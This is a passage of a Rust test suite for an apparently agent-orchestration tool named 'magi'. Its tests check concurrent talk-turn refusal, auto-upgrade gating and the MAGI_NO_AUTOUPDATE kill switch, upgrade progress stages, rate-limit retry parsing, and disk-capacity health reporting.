22360 let mut cfg = stub_config();
22361 cfg.agents[0].id = "mock".to_owned();
22362 cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
22363 cfg.agents[0].env = std::collections::BTreeMap::from([
22364 ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
22365 ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
22366 ]);
22367 let questions = ui.questions.clone();
22368 let cli_talks = Talks::at(ui.home.join("talks"));
22369 let cli_q = q.clone();
22370 let turn = tokio::spawn(async move {
22371 crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
22372 });
22373 let ready = tokio::time::timeout(Duration::from_secs(30), async {
22374 while !started.exists() {
22375 tokio::time::sleep(Duration::from_millis(10)).await;
22376 }
22377 })
22378 .await;
22379 let refusal = if ready.is_ok() {
22382 let before = consult_snapshot(&ui, &q, &id);
22383 let result = talk_say(
22384 State(Arc::clone(&ui)),
22385 Path(id.clone()),
22386 Ok(Json(NewTalkTurn {
22387 reply_to: None,
22388 text: "another message".to_owned(),
22389 attachments: Vec::new(),
22390 })),
22391 )
22392 .await;
22393 Some((result, before, consult_snapshot(&ui, &q, &id)))
22394 } else {
22395 None
22396 };
22397 std::fs::write(&release, "").expect("release agent");
22398 let done = turn.await.expect("join CLI turn");
22399 ready.expect("agent started before deadline");
22400 let (result, before, after) = refusal.expect("web request");
22401 let error = result.expect_err("web must refuse the CLI's turn");
22402 assert_eq!(error.status, StatusCode::CONFLICT);
22403 assert!(error.message.contains("a turn is already running"));
22404 assert_eq!(
22405 after, before,
22406 "refusal preserves question, draft and history"
22407 );
22408 assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
22409 let guard = ui
22410 .begin_talk_turn(&id)
22411 .expect("web claim")
22412 .expect("free again");
22413 drop(guard);
22414 }
22415
22416 #[test]
22417 fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
22418 let home = TempDir::new().expect("temp home");
22419 let talks = Talks::at(home.path().join("talks"));
22420 let ui = Ui::new(
22421 Queue::at(home.path().join("queue")),
22422 Questions::at(home.path().join("questions")),
22423 talks.clone(),
22424 home.path().join("runs"),
22425 home.path().to_path_buf(),
22426 PathBuf::from("/repo"),
22427 )
22428 .with_worktrees_root(home.path().join("wt"));
22429 let id = "20260901-000000-order";
22430 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
22431 let slots = ui.talk_turns.lock().unwrap();
22433 let dropper = std::thread::spawn(move || drop(turn));
22434 let start = std::time::Instant::now();
22435 while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
22436 std::thread::sleep(Duration::from_millis(5));
22437 }
22438 assert!(!talks.turn_held(id), "the lease is released first");
22439 assert!(slots.live.contains(id), "the slot is still held meanwhile");
22440 drop(slots);
22441 dropper.join().expect("join");
22442 assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
22443 }
22444
22445 #[tokio::test]
22446 async fn an_upgrade_is_refused_for_a_legacy_scheduler() {
22447 let fx = Fixture::start().await;
22448 let mut beat = crate::daemon::Status::new();
22449 beat.worker_protocol = None;
22450 beat.pid = 4321;
22451 beat.updated_at = jiff::Timestamp::now();
22452 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
22453 .expect("publish a heartbeat");
22454
22455 let res = fx.post("/api/upgrade", None).await;
22456 assert_eq!(res.status, 409);
22457 }
22458
22459 #[test]
22466 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
22467 assert!(!should_spawn_recheck(&crate::config::Update {
22468 mode: UpdateMode::Off,
22469 interval: None,
22470 auto_restart: false,
22471 }));
22472
22473 unsafe {
22476 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
22477 }
22478 let killed = should_spawn_recheck(&crate::config::Update {
22479 mode: UpdateMode::Notify,
22480 interval: None,
22481 auto_restart: false,
22482 });
22483 unsafe {
22484 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
22485 }
22486 assert!(
22487 !killed,
22488 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
22489 one-time startup check"
22490 );
22491
22492 assert!(should_spawn_recheck(&crate::config::Update {
22493 mode: UpdateMode::Notify,
22494 interval: None,
22495 auto_restart: false,
22496 }));
22497 }
22498
22499 #[test]
22505 fn recheck_poll_period_tracks_a_short_configured_interval() {
22506 let short = crate::config::Update {
22507 mode: UpdateMode::Notify,
22508 interval: Some("1m".to_owned()),
22509 auto_restart: false,
22510 };
22511 let period = recheck_poll_period(&short);
22512 assert!(
22513 period <= Duration::from_secs(30),
22514 "a one-minute interval must wake the task far sooner than the \
22515 default ceiling, or the deck would not notice within the \
22516 interval the operator configured: got {period:?}"
22517 );
22518
22519 let default = crate::config::Update {
22520 mode: UpdateMode::Notify,
22521 interval: None,
22522 auto_restart: false,
22523 };
22524 assert_eq!(
22525 recheck_poll_period(&default),
22526 UPDATE_RECHECK_POLL_MAX,
22527 "the default day-long interval should poll at the (capped) \
22528 ceiling rather than needlessly often"
22529 );
22530 }
22531
22532 #[test]
22540 fn recheck_skips_the_network_before_the_interval_elapses() {
22541 let dir = TempDir::new().expect("temp dir");
22542 let path = dir.path().join("state.json");
22543 let state = kaishin::UpdateCheckState {
22544 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
22545 last_known_latest: None,
22546 last_known_url: None,
22547 };
22548 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
22549
22550 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
22551 assert!(
22552 !update_recheck_due(&checker, None),
22553 "a check made moments ago must not be repeated before the \
22554 configured interval elapses"
22555 );
22556 }
22557
22558 #[test]
22564 fn recheck_defers_to_an_upgrade_already_in_flight() {
22565 let dir = TempDir::new().expect("temp dir");
22566 let path = dir.path().join("state.json");
22567 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
22568 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
22569
22570 assert!(
22571 !update_recheck_due(&checker, Some(&progress)),
22572 "a recheck must not run while an upgrade this deck started is \
22573 still moving"
22574 );
22575 }
22576
22577 #[tokio::test]
22578 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
22579 unsafe {
22591 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
22592 }
22593 let fx = Fixture::start().await;
22594 let res = fx.post("/api/upgrade", None).await;
22595 unsafe {
22596 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
22597 }
22598 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
22599 let body = res.json();
22600 assert!(body["to"].is_null(), "there was no release to move to");
22601 assert!(body["parked"].is_null(), "and nothing was parked");
22602 assert!(
22603 body["detail"]
22604 .as_str()
22605 .unwrap()
22606 .contains("disabled by MAGI_NO_AUTOUPDATE"),
22607 "{body:?}"
22608 );
22609 }
22610
22611 #[test]
22612 fn auto_upgrade_decision_respects_policy_work_and_failed_tags() {
22613 use AutoUpgradeDecision::{Skip, Trigger, Wait};
22614 let mut cfg = Update::default();
22615 assert!(matches!(
22616 auto_upgrade_decision(&cfg, false, false, false, "v2", None),
22617 Skip(_)
22618 ));
22619 cfg.auto_restart = true;
22620 assert_eq!(
22621 auto_upgrade_decision(&cfg, false, false, false, "v2", None),
22622 Trigger
22623 );
22624 assert_eq!(
22625 auto_upgrade_decision(&cfg, false, false, true, "v2", None),
22626 Wait
22627 );
22628 for (disabled, moving, failed) in [
22629 (true, false, None),
22630 (false, true, None),
22631 (false, false, Some("v2")),
22632 ] {
22633 assert!(matches!(
22634 auto_upgrade_decision(&cfg, disabled, moving, false, "v2", failed),
22635 Skip(_)
22636 ));
22637 }
22638 assert_eq!(
22639 auto_upgrade_decision(&cfg, false, false, false, "v3", Some("v2")),
22640 Trigger
22641 );
22642 cfg.mode = UpdateMode::Off;
22643 assert!(matches!(
22644 auto_upgrade_decision(&cfg, false, false, false, "v2", None),
22645 Skip(_)
22646 ));
22647 }
22648
22649 #[test]
22650 fn auto_upgrade_waits_for_detached_workers_but_not_the_scheduler() {
22651 let home = TempDir::new().unwrap();
22652 let ui = idle_ui(&home);
22653 assert!(!ui.auto_upgrade_busy());
22654 let directory = home.path().join("workers/jobs/abcdef");
22655 std::fs::create_dir_all(&directory).unwrap();
22656 let mut job = crate::worker::Job {
22657 id: "abcdef".into(),
22658 sequence: 1,
22659 kind: "scheduler".into(),
22660 key: "scheduler".into(),
22661 payload: serde_json::json!({}),
22662 generation: "test".into(),
22663 version: None,
22664 status: crate::worker::Status::Running,
22665 result: None,
22666 pid: None,
22667 created_at: 0,
22668 finished_at: None,
22669 };
22670 let lease = crate::worker::execution_lease_for_test(&directory.join("live.lock"));
22671 let write = |job: &crate::worker::Job| {
22672 std::fs::write(directory.join("job.json"), serde_json::to_vec(job).unwrap()).unwrap();
22673 };
22674 write(&job);
22675 assert!(!ui.auto_upgrade_busy(), "an idle scheduler permits updates");
22676 for kind in ["task", "chat"] {
22677 job.kind = kind.into();
22678 write(&job);
22679 assert!(ui.auto_upgrade_busy(), "a detached {kind} defers updates");
22680 }
22681 drop(lease);
22682 assert!(
22686 !ui.auto_upgrade_busy(),
22687 "completed execution permits updates"
22688 );
22689 std::fs::create_dir_all(home.path().join("workers/jobs/bad")).unwrap();
22690 assert!(
22691 ui.auto_upgrade_busy(),
22692 "unreadable worker state defers updates"
22693 );
22694 }
22695
22696 fn fail_test_upgrade(_: PathBuf) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
22697 Box::pin(async { anyhow::bail!("test installer failed") })
22698 }
22699
22700 #[tokio::test]
22701 async fn auto_upgrade_uses_shared_progress_and_failure_cleanup_only_when_idle() {
22702 let home = TempDir::new().unwrap();
22703 std::fs::write(
22704 home.path().join("magi.toml"),
22705 "[update]\nauto_restart = true\n",
22706 )
22707 .unwrap();
22708 let mut ui = idle_ui(&home);
22709 ui.repo = home.path().to_path_buf();
22710 ui.upgrade_runner = fail_test_upgrade;
22712 let ui = Arc::new(ui);
22713 let latest = || {
22714 Some(kaishin::LatestRelease {
22715 tag_name: "v999.0.0".into(),
22716 html_url: String::new(),
22717 })
22718 };
22719 ui.talk_turns.lock().unwrap().live.insert("busy".into());
22720 assert_eq!(
22721 begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
22722 .await
22723 .status(),
22724 StatusCode::NO_CONTENT
22725 );
22726 assert!(updater::read_progress(home.path()).is_none());
22727 ui.talk_turns.lock().unwrap().live.clear();
22728 let gate = ui.upgrade_gate.lock().await;
22729 assert_eq!(
22730 begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
22731 .await
22732 .status(),
22733 StatusCode::CONFLICT
22734 );
22735 drop(gate);
22736 assert_eq!(
22737 begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
22738 .await
22739 .status(),
22740 StatusCode::ACCEPTED
22741 );
22742 let progress = updater::read_progress(home.path()).unwrap();
22743 assert_eq!(progress.trigger, updater::UpgradeTrigger::Auto);
22744 assert_eq!(progress.stage, updater::Stage::Downloading);
22745 assert!(progress.parked_run.is_none());
22746 assert!(ui.start_detached_loop().await.is_err());
22747 assert!(ui.start_loop(None).is_err());
22748 assert!(ui.begin_resume("late").is_err());
22749 tokio::time::timeout(Duration::from_secs(2), async {
22750 while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
22751 tokio::task::yield_now().await;
22752 }
22753 })
22754 .await
22755 .unwrap();
22756 let progress = updater::read_progress(home.path()).unwrap();
22757 assert_eq!(progress.stage, updater::Stage::Failed);
22758 assert_eq!(
22759 begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
22760 .await
22761 .status(),
22762 StatusCode::NO_CONTENT
22763 );
22764 let result = upgrade_checked(&ui, "old".into(), Ok(latest()));
22766 assert_eq!(
22767 finish_upgrade_request(&ui, result).status(),
22768 StatusCode::ACCEPTED
22769 );
22770 assert_eq!(
22771 updater::read_progress(home.path()).unwrap().trigger,
22772 updater::UpgradeTrigger::Manual
22773 );
22774 tokio::time::timeout(Duration::from_secs(2), async {
22775 while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
22776 tokio::task::yield_now().await;
22777 }
22778 })
22779 .await
22780 .unwrap();
22781 }
22782
22783 fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
22784 let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
22785 p.stage = stage;
22786 p
22787 }
22788
22789 #[test]
22790 fn busy_stages_match_the_ui_set() {
22791 use crate::updater::Stage;
22792 assert!(APP_JS.contains(
22793 "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
22794 ));
22795 for s in [
22796 Stage::Downloading,
22797 Stage::Replaced,
22798 Stage::Parking,
22799 Stage::Restarting,
22800 ] {
22801 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
22802 }
22803 for s in [Stage::Done, Stage::Failed] {
22804 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
22805 }
22806 assert!(upgrade_in_motion(None).is_none());
22807 }
22808
22809 #[tokio::test]
22810 async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
22811 use crate::updater::Stage;
22812 for stage in [
22813 Stage::Downloading,
22814 Stage::Replaced,
22815 Stage::Parking,
22816 Stage::Restarting,
22817 ] {
22818 let fx = Fixture::start().await;
22819 let seeded = seeded_progress(stage);
22820 crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
22821 let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
22822 .expect("read");
22823
22824 let res = fx.post("/api/upgrade", None).await;
22825 assert_eq!(res.status, 409, "{stage:?}");
22826 let err = res.json()["error"].as_str().unwrap().to_owned();
22827 assert!(err.contains("already in progress"), "{err}");
22828 assert!(err.contains(stage.as_str()), "{err}");
22829
22830 let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
22831 .expect("read");
22832 assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
22833 let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
22834 .unwrap_or_default();
22835 assert!(!log.contains("signalling HANDOVER"), "{log}");
22836 }
22837 }
22838
22839 #[test]
22840 fn upgrade_retry_timing_only_parses_known_diagnostics() {
22841 assert_eq!(
22842 upgrade_retry_after("GitHub API rate limit exceeded (resets in 1h 2m 3s). Use a token"),
22843 Some(3723)
22844 );
22845 assert_eq!(
22846 upgrade_retry_after("GitHub secondary rate limit hit (retry after 1m). Slow down"),
22847 Some(60)
22848 );
22849 assert_eq!(
22850 upgrade_retry_after("GitHub API rate limit exceeded (retry now)"),
22851 Some(0)
22852 );
22853 for message in [
22854 "permission denied",
22855 "GitHub API rate limit exceeded",
22856 "GitHub rate limit (resets in unknown)",
22857 "GitHub rate limit (resets in 18446744073709551615d)",
22858 ] {
22859 assert_eq!(upgrade_retry_after(message), None, "{message}");
22860 }
22861 }
22862
22863 #[tokio::test]
22864 async fn upgrade_request_failure_survives_health_without_changing_successful_progress() {
22865 let home = TempDir::new().unwrap();
22866 let ui = Arc::new(idle_ui(&home).with_worktrees_root(home.path().join("wt")));
22867 ui.start_loop(None).unwrap();
22868 updater::write_progress(home.path(), &seeded_progress(updater::Stage::Done)).unwrap();
22869 let before = std::fs::read(updater::progress_path(home.path())).unwrap();
22870 let reason = "GitHub API rate limit exceeded (resets in 2m). Authenticate the request";
22871 let result = upgrade_checked(&ui, "0.1.0".into(), Err(anyhow::anyhow!(reason)));
22872 let response = finish_upgrade_request(&ui, result);
22873 assert_eq!(response.status(), StatusCode::INTERNAL_SERVER_ERROR);
22874 assert_eq!(response.headers()["retry-after"], "120");
22875 let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
22876 .await
22877 .unwrap();
22878 let body: serde_json::Value = serde_json::from_slice(&bytes).unwrap();
22879 assert!(body["error"].as_str().unwrap().contains(reason));
22880 assert_eq!(body["retry_after_secs"], 120);
22881 assert!(body["retry_at"].as_u64().is_some());
22882 for _ in 0..2 {
22883 let view = health(State(ui.clone())).await.unwrap().0;
22884 let failure = serde_json::to_value(view.upgrade_request_error).unwrap();
22885 assert_eq!(failure, body);
22886 }
22887 assert_eq!(
22888 std::fs::read(updater::progress_path(home.path())).unwrap(),
22889 before
22890 );
22891 assert!(!ui.lock_loop().live.as_ref().unwrap().stop.stopped());
22892 assert!(!ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst));
22893 let gate = ui.upgrade_gate.lock().await;
22895 assert_eq!(
22896 upgrade_post(State(ui.clone())).await.status(),
22897 StatusCode::CONFLICT
22898 );
22899 drop(gate);
22900 assert!(
22901 health(State(ui.clone()))
22902 .await
22903 .unwrap()
22904 .0
22905 .upgrade_request_error
22906 .is_some()
22907 );
22908 let out = upgrade_checked(&ui, "0.1.0".into(), Ok(None));
22909 assert_eq!(finish_upgrade_request(&ui, out).status(), StatusCode::OK);
22910 assert!(
22911 health(State(ui.clone()))
22912 .await
22913 .unwrap()
22914 .0
22915 .upgrade_request_error
22916 .is_none()
22917 );
22918 let live = ui.lock_loop().live.take().unwrap();
22919 live.stop.stop();
22920 live.handle.await.unwrap();
22921 }
22922
22923 #[tokio::test]
22924 async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
22925 use crate::updater::Stage;
22926 let repo = TempDir::new().expect("repo dir");
22927 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
22928 .expect("write magi.toml");
22929 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
22930 for stage in [Stage::Done, Stage::Failed] {
22931 crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
22932 let res = fx.post("/api/upgrade", None).await;
22933 assert_eq!(res.status, 200, "{stage:?}");
22934 }
22935 let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
22937 assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
22938 }
22939
22940 #[tokio::test]
22941 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
22942 let repo = TempDir::new().expect("repo dir");
22958 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
22959 .expect("write magi.toml");
22960 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
22961
22962 let res = fx.post("/api/upgrade", None).await;
22968 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
22969 let body = res.json();
22970 assert!(body["to"].is_null(), "there was no release to move to");
22971 assert!(body["parked"].is_null(), "and nothing was parked");
22972 assert!(
22973 body["detail"]
22974 .as_str()
22975 .unwrap()
22976 .contains("nothing restarted"),
22977 "{body:?}"
22978 );
22979 }
22980
22981 async fn wait_for_disk_scan(state: &Arc<Mutex<DiskObservation>>) {
22982 tokio::time::timeout(Duration::from_secs(5), async {
22983 while state.lock().unwrap().in_flight {
22984 tokio::task::yield_now().await;
22985 }
22986 })
22987 .await
22988 .expect("capacity scan finished");
22989 }
22990
22991 fn disk_test_scope(home: &FsPath) -> DiskScope {
22992 DiskScope {
22993 runs: home.join("runs"),
22994 worktrees: home.join("worktrees"),
22995 cache: Some(home.join("cache")),
22996 }
22997 }
22998
22999 fn known_disk_capacity() -> DiskCapacity {
23000 DiskCapacity {
23001 free_bytes: Some(100),
23002 runs_bytes: Some(200),
23003 worktrees_bytes: Some(300),
23004 cache_bytes: Some(400),
23005 }
23006 }
23007
23008 #[tokio::test]
23009 async fn health_disk_cold_and_concurrent_requests_do_not_wait_for_capacity() {
23010 let home = TempDir::new().unwrap();
23011 std::fs::write(home.path().join("magi.toml"), "[update]\nmode = \"off\"\n").unwrap();
23012 let mut ui = delta_test_ui(home.path());
23013 let state = Arc::get_mut(&mut ui).unwrap();
23014 state.repo = home.path().to_owned();
23015 state.worktrees_root = home.path().join("worktrees");
23016 *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
23017 ui.monitor
23018 .worker_started
23019 .store(true, std::sync::atomic::Ordering::SeqCst);
23020 let cfg = deputy_config(&ui.repo);
23021 let scope = DiskScope::of(&ui, cfg.as_ref());
23022 let (started, reached) = tokio::sync::oneshot::channel();
23023 let (release, blocked) = std::sync::mpsc::channel();
23024 let cold = DiskObservation::observe(&ui.monitor.disk, scope, move |_| {
23025 started.send(()).unwrap();
23026 blocked.recv().unwrap();
23027 known_disk_capacity()
23028 });
23029 assert!(cold.runs_bytes.is_none());
23030 tokio::time::timeout(Duration::from_secs(5), reached)
23031 .await
23032 .unwrap()
23033 .unwrap();
23034
23035 let requests: Vec<_> = (0..4)
23036 .map(|_| {
23037 let ui = ui.clone();
23038 tokio::spawn(async move { health(State(ui)).await.unwrap().0 })
23039 })
23040 .collect();
23041 tokio::time::timeout(Duration::from_secs(5), async {
23042 for request in requests {
23043 let view = request.await.unwrap();
23044 let disk = serde_json::to_value(view.disk).unwrap();
23045 assert!(disk["runs_bytes"].is_null());
23046 assert!(disk["worktrees_bytes"].is_null());
23047 assert!(disk["free_bytes"].is_u64());
23050 }
23051 })
23052 .await
23053 .expect("health must return while the measurement is causally blocked");
23054 assert!(ui.monitor.disk.lock().unwrap().in_flight);
23055 assert!(
23057 ui.monitor
23058 .disk
23059 .lock()
23060 .unwrap()
23061 .capacity
23062 .runs_bytes
23063 .is_none()
23064 );
23065 release.send(()).unwrap();
23066 wait_for_disk_scan(&ui.monitor.disk).await;
23067 assert_eq!(
23068 ui.monitor.disk.lock().unwrap().capacity.runs_bytes,
23069 Some(200)
23070 );
23071 }
23072
23073 #[tokio::test]
23074 async fn health_disk_refresh_retains_successes_and_cadence_starts_at_completion() {
23075 let home = TempDir::new().unwrap();
23076 let scope = disk_test_scope(home.path());
23077 let state = Arc::new(Mutex::new(DiskObservation {
23078 scope: Some(scope.clone()),
23079 capacity: known_disk_capacity(),
23080 finished: Some(std::time::Instant::now() - DISK_REFRESH * 2),
23081 ..Default::default()
23082 }));
23083 let (started, reached) = tokio::sync::oneshot::channel();
23084 let (release, blocked) = std::sync::mpsc::channel();
23085 let before = DiskObservation::observe(&state, scope.clone(), move |_| {
23086 started.send(()).unwrap();
23087 blocked.recv().unwrap();
23088 DiskCapacity {
23089 runs_bytes: Some(250),
23090 ..Default::default()
23091 }
23092 });
23093 assert_eq!(before.cache_bytes, Some(400));
23094 tokio::time::timeout(Duration::from_secs(5), reached)
23095 .await
23096 .unwrap()
23097 .unwrap();
23098 let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
23099 for _ in 0..4 {
23100 let scans = duplicate_scans.clone();
23101 let during = DiskObservation::observe(&state, scope.clone(), move |_| {
23102 scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
23103 DiskCapacity::default()
23104 });
23105 assert_eq!(during.runs_bytes, Some(200));
23106 assert_eq!(during.cache_bytes, Some(400));
23107 }
23108 release.send(()).unwrap();
23109 wait_for_disk_scan(&state).await;
23110 let scans = duplicate_scans.clone();
23111 let after = DiskObservation::observe(&state, scope, move |_| {
23112 scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
23113 DiskCapacity::default()
23114 });
23115 wait_for_disk_scan(&state).await;
23116 assert_eq!(after.runs_bytes, Some(250));
23117 assert_eq!(after.free_bytes, Some(100));
23118 assert_eq!(after.cache_bytes, Some(400));
23119 assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
23120 assert!(state.lock().unwrap().finished.unwrap().elapsed() < DISK_REFRESH);
23121 }
23122
23123 #[tokio::test]
23124 async fn health_disk_changed_scope_never_publishes_the_previous_cache() {
23125 let home = TempDir::new().unwrap();
23126 let old_scope = disk_test_scope(home.path());
23127 let mut new_scope = old_scope.clone();
23128 new_scope.cache = Some(home.path().join("replacement-cache"));
23129 let state = Arc::new(Mutex::new(DiskObservation {
23130 scope: Some(old_scope.clone()),
23131 capacity: known_disk_capacity(),
23132 ..Default::default()
23133 }));
23134 let (started, reached) = tokio::sync::oneshot::channel();
23135 let (release, blocked) = std::sync::mpsc::channel();
23136 DiskObservation::observe(&state, old_scope, move |_| {
23137 started.send(()).unwrap();
23138 blocked.recv().unwrap();
23139 known_disk_capacity()
23140 });
23141 tokio::time::timeout(Duration::from_secs(5), reached)
23142 .await
23143 .unwrap()
23144 .unwrap();
23145 let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
23146 let scans = duplicate_scans.clone();
23147 let changed = DiskObservation::observe(&state, new_scope.clone(), move |_| {
23148 scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
23149 DiskCapacity::default()
23150 });
23151 assert!(changed.cache_bytes.is_none());
23152 assert!(changed.runs_bytes.is_none());
23153 release.send(()).unwrap();
23154 wait_for_disk_scan(&state).await;
23155 {
23156 let observation = state.lock().unwrap();
23157 assert!(observation.capacity.cache_bytes.is_none());
23158 assert!(observation.finished.is_none());
23159 }
23160 DiskObservation::observe(&state, new_scope.clone(), move |scope| {
23161 assert_eq!(scope, &new_scope);
23162 DiskCapacity {
23163 cache_bytes: Some(999),
23164 ..Default::default()
23165 }
23166 });
23167 wait_for_disk_scan(&state).await;
23168 assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(999));
23169 assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
23170 }
23171
23172 #[tokio::test]
23173 async fn health_disk_panicked_worker_releases_flight_and_retries_after_cadence() {
23174 let home = TempDir::new().unwrap();
23175 let scope = disk_test_scope(home.path());
23176 let state = Arc::new(Mutex::new(DiskObservation {
23177 scope: Some(scope.clone()),
23178 capacity: known_disk_capacity(),
23179 ..Default::default()
23180 }));
23181 DiskObservation::observe(&state, scope.clone(), |_| panic!("capacity worker failure"));
23182 wait_for_disk_scan(&state).await;
23183 {
23184 let mut observation = state.lock().unwrap();
23185 assert_eq!(observation.capacity.cache_bytes, Some(400));
23186 assert!(observation.finished.unwrap().elapsed() < DISK_REFRESH);
23187 observation.finished = Some(std::time::Instant::now() - DISK_REFRESH);
23188 }
23189 DiskObservation::observe(&state, scope, |_| DiskCapacity {
23190 cache_bytes: Some(450),
23191 ..Default::default()
23192 });
23193 wait_for_disk_scan(&state).await;
23194 assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(450));
23195 }
23196
23197 #[test]
23198 fn health_disk_capacity_counts_empty_and_missing_without_following_links() {
23199 let home = TempDir::new().unwrap();
23200 assert_eq!(disk_capacity_size(&home.path().join("missing")), Some(0));
23201 assert_eq!(disk_capacity_size(home.path()), Some(0));
23202 std::fs::create_dir(home.path().join("nested")).unwrap();
23203 std::fs::write(home.path().join("nested/data"), b"12345").unwrap();
23204 assert_eq!(disk_capacity_size(home.path()), Some(5));
23205 #[cfg(unix)]
23206 {
23207 assert_eq!(
23209 disk_capacity_size(&home.path().join("nested/data/child")),
23210 None
23211 );
23212 }
23213 #[cfg(unix)]
23214 {
23215 std::os::unix::fs::symlink(home.path(), home.path().join("nested/link")).unwrap();
23216 assert_eq!(disk_capacity_size(home.path()), Some(5));
23217 }
23218 }
23219
23220 #[tokio::test]
23221 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
23222 let repo = TempDir::new().expect("repo dir");
23227 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
23228 .expect("write magi.toml");
23229 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
23230
23231 let health = fx.get("/api/health").await.json();
23232 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
23233 assert_eq!(
23234 health["update"]["available"], false,
23235 "checking is off, which reads as \"unknown\", not \"none\""
23236 );
23237 assert!(health["update"]["to"].is_null());
23238 assert!(
23239 health["upgrade"].is_null(),
23240 "nothing has ever asked this deck to upgrade"
23241 );
23242 }
23243
23244 #[tokio::test]
23245 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
23246 let fx = Fixture::start().await;
23247 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
23248
23249 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23250 progress.parked_run = Some("20260905-000000-cd51".to_owned());
23251 progress.advance(crate::updater::Stage::Parking);
23252 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
23253
23254 let health = fx.get("/api/health").await.json();
23255 assert_eq!(health["upgrade"]["stage"], "parking");
23256 assert_eq!(health["upgrade"]["from"], "0.5.1");
23257 assert_eq!(health["upgrade"]["to"], "0.5.2");
23258 let waiting_on = health["upgrade"]["waiting_on"]
23259 .as_str()
23260 .expect("waiting_on is set while parking a known run");
23261 assert!(waiting_on.contains("cd51"), "{waiting_on}");
23262 assert!(waiting_on.contains("implementing"), "{waiting_on}");
23263 }
23264
23265 #[tokio::test]
23266 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
23267 let fx = Fixture::start().await;
23268 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23269 progress.advance(crate::updater::Stage::Done);
23270 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
23271
23272 let health = fx.get("/api/health").await.json();
23273 assert_eq!(health["upgrade"]["stage"], "done");
23274 assert!(
23275 health["upgrade"]["waiting_on"].is_null(),
23276 "nothing to wait on once it is done"
23277 );
23278 }
23279
23280 #[tokio::test]
23283 async fn the_handover_signal_wakes_one_waiter_once() {
23284 let signal = Notify::new();
23285 signal.notify_one();
23287 tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
23288 .await
23289 .expect("an early signal is still seen");
23290 assert!(
23292 tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
23293 .await
23294 .is_err(),
23295 "a consumed signal must not wake a second time"
23296 );
23297 let signal = std::sync::Arc::new(signal);
